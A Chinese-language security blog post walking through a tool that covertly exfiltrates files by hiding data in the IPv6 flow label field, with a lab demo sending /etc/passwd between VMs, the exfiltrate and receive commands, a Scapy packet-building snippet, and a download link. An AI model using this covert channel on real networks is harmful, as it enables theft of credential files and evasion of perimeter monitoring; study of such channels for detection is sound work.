美文网首页网络安全
使用 IPV6 流标签进行隐蔽的数据渗透

使用 IPV6 流标签进行隐蔽的数据渗透

作者: 城市烈人 | 来源:发表于2019-08-27 17:04 被阅读0次

IPv6报文新增加了一个流标签

流标签技术在IPV6中的用途有:

(1)提高了中间路由器处理包的速度。

(2)提供了QoS需求,并支持实时服务的业务数据流。

但流标签也存在一些安全问题,如数据渗透,payload后门,Dos等

配置:

虚拟机vmware中开启IPv6支持


image.png
hunt(inet6):  fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036
kali(inet6):  fd15:4ba5:5a2b:1008:20c:29ff:fe70:6427

均需要scapy和cairocffi

pip3 install -r requirements.txt
pip3 install cairocffi

测试过程

kali将自身的/etc/passwd 数据通过该工具传输到hunt上

kali操作:

参数解释:

python3 exfiltrate.py 待传输文件 目标机IPv6地址

eg:

python3 exfiltrate.py /etc/passwd fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036
image.png

hunt接收操作:

参数解释:

python3 receive.py 保存的文件名

eg:

python3 receive.py kali-passwd
image.png

该地址证实是kali的IPv6地址

查看kali-passwd

image.png

接收成功

机制分析

IPv6是英文“Internet Protocol Version 6”(互联网协议第6版)的缩写,是互联网工程任务组(IETF)设计的用于替代IPv4的下一代IP协议,其地址数量号称可以为全世界的每一粒沙子编上一个地址 。

IPv6的地址长度为128位,是IPv4地址长度的4倍 。

IPv6报文内容

IPv6报文的整体结构分为IPv6报头扩展报头上层协议数据3部分。IPv6报头是必选报文头部,长度固定为40B,包含该报文的基本信息;扩展报头是可选报头,可能存在0个、1个或多个,IPv6协议通过扩展报头实现各种丰富的功能;上层协议数据是该IPv6报文携带的上层数据,可能是ICMPv6报文、TCP报文、UDP报文或其他可能报文。

IPv6的报文头部结构如图:

image.png
流标签 用来标识同一个流里面的报文

该工具进行隐蔽的数据渗透正是利用了 20比特(12-31)的流标签

Flow Label(流标签)是IPv6中新增的头部结构

作用是:

流标签可用来标记特定流的报文,以便在网络层区分不同的报文。转发路径上的路由器可以根据流标签来区分流并进行处理。由于流标签在IPv6报文头中携带,转发路由器可以不必根据报文内容来识别不同的流,目的节点也同样可以根据流标签识别流,同时由于流标签在报文头中,因此使用IPSec后仍然可以根据流标签进行QoS处理。

所以,

可以将该字段设置为任意值,而不会影响数据包传递到其目标。

因此,我们可以通过在此字段中存储数据来构建隐蔽信道。

exfiltration脚本每20比特数据发送1个IPv6数据包

receiver脚本通过读取该字段重建数据


该工具主要作用在于,在企业边界网络中,已经阻止了ICMP报文,如果想将数据隐藏在报文的数据字段中进行传输,也可能分析IPv6/ICMPv6数据包中的字段,很可能无法对外连接通讯。

但目前来说仍有局限性

1、速度慢

虽然发送的数据是使用GZIP压缩的,但速度非常慢。通过网络发送的每包才包含20比特的数据,无法传输大文件。

2、传输不加密

如果你要传输敏感数据,可以在数据提供给传输端之前对数据进行加密。

3、超时不重传

可以自定义增加exfiltration脚本的packet-sending的值:

image.png

默认情况下为10毫秒,每个新数据包在发送之前会等待10毫秒。

代码分析

该工具的传输端exfiltrate.py 主要是三个函数

image.png

重点在第三个函数 send

重要代码分析

image.png
# Build the IPv6 packet to send
ipv6_layer = IPv6(dst=self.destination, fl=payload_int)
raw_layer = Raw(load=self.MAGIC_VALUE + "_" + str(num_bits_to_send) + "_" + str(seq))
pkt = ipv6_layer / raw_layer

每个IPv6数据包发送的payload包含一个魔术值(magic value)以及一个序列号

所以,接收端可以确定哪些IPv6分组与其相关并进行解码。

总结

该工具可扩展性强,后续可自行开发,不局限于数据渗透,流标签还可以用于payload后门,Dos等

工具下载百度云下载
链接:https://pan.baidu.com/s/1OcxeQf2iNkk__X_49BVJ3A
提取码:v4dj

相关文章

  • 使用 IPV6 流标签进行隐蔽的数据渗透

    IPv6报文新增加了一个流标签 流标签技术在IPV6中的用途有: (1)提高了中间路由器处理包的速度。 (2)提供...

  • Semi-supervised Learning

    我们知道监督学习就是使用带标签的数据进行学习,无监督学习就是使用无标签的数据进行学习,那么顾名思义,半监督学习就是...

  • 学习Vue3(二)

    属性的绑定 在上一篇中,我们使用 {{}} 将数据和Html标签值进行了绑定。 对于标签Html中的属性,我们使用...

  • Json笔记

    Json语法 使用json标签编写的对象也具有属性和方法,能够利用据点标签进行访问: 访问json数据 eval(...

  • 使用SAS代写EnterpriseMiner进行数据挖掘:信用评

    原文链接:使用SAS代写EnterpriseMiner进行数据挖掘:信用评分构建记分卡模型 标签: 数据挖掘 风险...

  • kotlin flow(一)

    数据流flow包含三部分 数据提供方:网络数据,数据库数据添加到数据流中 中介:可对数据进行拦截操作 数据使用方:...

  • vue 下载文件

    通过拿到数据流,创建a标签

  • 前端用uni-app实现直播推流、拉流

    1、前端拉流,app端直接用video标签,src填写数据流地址就行;微信小程序端使用live-player[ht...

  • ACGAN-半监督式GAN

    CGAN通过在生成器和判别器中均使用标签信息进行训练,不仅能产生特定标签的数据,还能够提高生成数据的质量;...

  • Vue学习笔记-IPV6地址校验

    最近接手的项目需要使用到IPV6地址,前段需要用JS进行IPV6合法性校验,所以开始研究。 IPV6百度百科 ip...

网友评论

    本文标题:使用 IPV6 流标签进行隐蔽的数据渗透

    本文链接:https://www.haomeiwen.com/subject/qoaeectx.html